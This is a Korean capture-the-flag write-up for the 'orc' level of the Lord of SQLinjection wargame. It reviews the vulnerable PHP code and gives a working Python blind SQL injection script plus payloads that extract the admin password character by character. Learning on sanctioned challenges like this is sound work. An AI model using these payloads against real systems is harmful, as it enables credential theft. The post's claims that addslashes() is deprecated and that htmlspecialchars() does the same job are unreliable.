LJ

Lord of SQLinjection ( 4번 ) 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 4번 )

짱준재 2024. 5. 14. 11:02

 

 

Lord of SQLinjection 4번 orc이다.

 

 

 

간단한 코드 리뷰 및 분석

1. <?php
2.   include "./config.php"; // 외부 설정 파일 포함
3.   login_chk();           // 로그인 확인
4.   $db = dbconnect();     // 데이터베이스 연결
5.   if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); // 입력값 필터링
6.   $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; // SQL 쿼리 생성
7.   echo "<hr>query : <strong>{$query}</strong><hr><br>"; // 쿼리 출력
8.   $result = @mysqli_fetch_array(mysqli_query($db,$query)); // 쿼리 실행 및 결과 추출
9.   if($result['id']) echo "<h2>Hello admin</h2>"; // 관리자 확인
//이 조건문은 $result['id']에 값이 있고 그 값이 참(true)으로 평가될 경우 (즉, 'admin' 등과 같이 빈 문자열이 아닌 경우) 실행
10. 
11.  $_GET[pw] = addslashes($_GET[pw]); // SQL 인젝션 방지를 위한 addslashes 사용
12.  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; // 두 번째 쿼리 생성
13.  $result = @mysqli_fetch_array(mysqli_query($db,$query)); // 두 번째 쿼리 실행 및 결과 추출
14.  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); // 결과 확인 및 처리
15.  highlight_file(__FILE__); // 파일 내용 강조
16. ?>

 

 

 

 

preg_match 함수 정리 및 pw 입력 값 필터링 규칙 분석

 

1. preg_match 함수 개요

preg_match 함수는 문자열 안에서 특정한 정규식 패턴의 존재 여부를 확인하는 데 사용되는 PHP 내장 함수이다.

 

핵심 기능:

  • 패턴 일치 여부 확인: 주어진 패턴이 문자열에 존재하는지 여부를 판단한다.
  • 일치 정보 추출: $matches 매개변수를 사용하면 패턴과 일치하는 부분 문자열을 배열에 담아낼 수 있다.
 
preg_match($pattern, $subject, [, $matches]);
 

매개변수:

  • $pattern: 검색할 정규식 패턴 (문자열로 입력)
  • $subject: 입력 문자열
  • $matches: (선택적) 패턴과 일치하는 부분 문자열을 담는 배열

반환값:

  • 일치: 패턴과 일치하는 경우 1을 반환한다.
  • 불일치: 패턴과 일치하지 않는 경우 0을 반환한다.
  • 오류: 유효하지 않은 패턴인 경우 FALSE를 반환한다.

2. pw 입력 값 필터링 규칙 분석

 

$pattern = "/prob|_|\\.|\\(\\)/"; // 모든 규칙을 하나의 패턴으로 합친 예시
$subject = "my_password123"; // 입력 문자열 예시

if (preg_match($pattern, $subject)) {
  echo "필터링 규칙에 위배됩니다.";
} else {
  echo "필터링 규칙을 준수합니다.";
}
 
 

문제에서 제시된 정보를 바탕으로 preg_match 함수를 사용하여 pw 입력 값 필터링 규칙을 다음과 같이 분석할 수 있다.

 

규칙:

  1. "prob" 문자열 포함 여부 확인: prob 패턴이 입력 문자열에 존재하는지 확인한다.
  2. "_" 문자열 포함 여부 확인: _ 패턴이 입력 문자열에 존재하는지 확인한다.
  3. "." 문자열 포함 여부 확인: . 패턴이 입력 문자열에 존재하는지 확인한다.
  4. "()" 문자열 포함 여부 확인: () 패턴이 입력 문자열에 존재하는지 확인한다.
 

설명:

  • 위 코드는 preg_match 함수를 사용하여 $pattern 패턴이 $subject 문자열에 존재하는지 확인한다.
  • 패턴과 일치하는 경우 "필터링 규칙에 위배됩니다" 메시지를 출력하고, 일치하지 않는 경우 "필터링 규칙을 준수합니다" 메시지를 출력한다.
  • 실제 구현에서는 각 규칙을 개별적으로 검사하거나 조건에 따라 처리하는 등의 로직을 추가해야 할 수 있다.

3. 추가 고려 사항

  • 패턴 최적화: 정규식 패턴은 상황에 따라 복잡해질 수 있다. 성능 향상을 위해 가능한 경우 패턴을 최적화하는 것이 좋다.
  • 보안: 입력 값을 필터링할 때는 악의적인 코드를 방지하기 위해 주의해야 한다.
  • 유효성 검사: preg_match 함수는 패턴 일치 여부만 확인하며, 입력 값의 유효성을 보장하지는 않는다. 필요에 따라 추가적인 유효성 검사를 수행해야 한다.

 

 

***addslashes() 함수****

addslashes() 함수는 특정 문자 앞에 백슬래시(\)를 추가하여 특수 문자로 해석되는 것을 방지하는 데 사용된다. 이 함수는 주로 데이터베이스 쿼리나 HTML 코드와 같은 문자열을 출력할 때 사용된다.

addslashes() 함수가 처리하는 문자:

  • 작은 따옴표 (')
  • 큰 따옴표 (")
  • 백슬래시 (\)
  • NULL 바이트 (0)

SQL 쿼리에서 작은 따옴표 이스케이핑 예시:

다음과 같은 SQL 쿼리를 사용하면 오류가 발생한다.

 
INSERT INTO users (name) VALUES ('It's a desk');
 

이 쿼리는 작은 따옴표(')를 문자열 리터럴의 끝으로 해석하기 때문에 실패된다. 이를 방지하려면 addslashes() 함수를 사용하여 작은 따옴표를 이스케이핑할 수 있다.

 
$name = "It's a desk";
$escapedName = addslashes($name);

$query = "INSERT INTO users (name) VALUES ('$escapedName')";
 

위 코드는 $name 변수에 있는 작은 따옴표를 이스케이핑하여 다음과 같은 쿼리를 생성한다.

 
INSERT INTO users (name) VALUES ('It\'s a desk');
 

이 쿼리는 성공적으로 실행되어 "It's a desk" 값을 users 테이블의 name 열에 삽입한다.

 

참고 사항:

  • addslashes() 함수는 PHP 5.3.4 이후 사용되지 않는 것으로 표시되었다. 대신 htmlspecialchars() 함수를 사용하는 것이 좋다. htmlspecialchars() 함수는 addslashes() 함수와 동일한 기능을 제공하며 더 많은 문자를 이스케이핑할 수 있다.
  • htmlspecialchars() 함수는 일반적으로 HTML로 출력될 문자열을 이스케이핑하는 데 사용되는 반면, addslashes() 함수는 SQL 쿼리에서 사용될 문자열을 이스케이핑하는 데 더 적합하다.
  • SQL 쿼리에서 특수 문자를 이스케이핑하는 것은 SQL 주입 공격을 방지하는 데 중요하다. SQL 주입 공격은 데이터베이스를 조작하거나 데이터를 도용하는 데 사용될 수 있다.

 

문제풀이

 

Blind sqlinjection 기법으로  비밀번호를 알아내어 맞는 비밀번호를 입력해서 문제를 해결한다.

 

password 길이 확인

 

 

어떤 아이디의 비밀번호를 구하는지 알기위해 id 파라미터를 추가해 비밀번호 길이가 8임을 확인하였다.

 

 ( and 연산 먼저 or 연산은 다음 )

 

비밀번호의 길이를 알아냈으니 다음은 비밀번호 한글자 씩 알아본다.

 

import requests 
//requests 라이브러리를 가져옵니다. 이 라이브러리는 HTTP 요청을 쉽게 만들어주는 도구로, 
//웹 서버와의 통신에 사용됩니다.

# 초기 비밀번호를 빈 문자열로 설정
password = ''

# 비밀번호의 최대 길이를 가정하여 루프
for password_length in range(1, 9):  # 1부터 8까지
    # 가능한 모든 ASCII 문자를 시도 (0부터 z까지)
    for ascii_code in range(ord('0'), ord('z') + 1):
        # 취약한 웹 페이지의 URL
        url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
        
        # SQL 인젝션 쿼리 구성
        query = {
            'pw': f"' or substr(pw, 1, {password_length})='{password + chr(ascii_code)}'#"
            //f는 문자열 형식 지정자로 사용되며 쿼리에 문자열 값을 삽입하는 데 사용
        }
        
        # 사용자의 세션 쿠키
        cookies = {
            'PHPSESSID': '여기에_당신의_쿠키_값_입력'
        }
        
        # 요청 수행
        response = requests.get(url, params=query, cookies=cookies)
        //requests.get(): requests 라이브러리에서 제공하는 GET 요청 함수
        
        # 'Hello admin'이 포함되어 있으면 현재 추측한 비밀번호가 맞는 것
        if 'Hello admin' in response.text:
            password += chr(ascii_code)
            print(f'Password detected ({password_length} characters): {password}')
            break  # 다음 길이의 비밀번호 추측으로 넘어감

# 최종 비밀번호 출력
print(f'Final password: {password}')

 

pw='||id='admin' and substr(pw,1,1)='0'%23 쿼리 기반으로 진행된다.

 

 

 

 

 

위의 코드를 기반으로 스크립트를 돌린 결과이다.

 

 

MySQL은 대문자와 소문자를 구분하지 않아 대문자 A와 소문자 a 모두 참의 결과로 보이지만

 

대문자 A의 경우로는 해결되지 않아 소문자 a를 넣어본 결과 문제가 해결된다.

 

 

 

 

 

 

 

'IT 보안 > 보안첼린지' 카테고리의 다른 글

XSS game level4  (0) 2024.05.17
Lord of SQLinjection ( 7번 )  (0) 2024.05.17
Lord of SQLinjection ( 6번 )  (0) 2024.05.16
Lord of SQLinjection ( 3번 )  (0) 2024.05.13
Lord of SQLinjection ( 1번 )  (0) 2024.05.13
Comments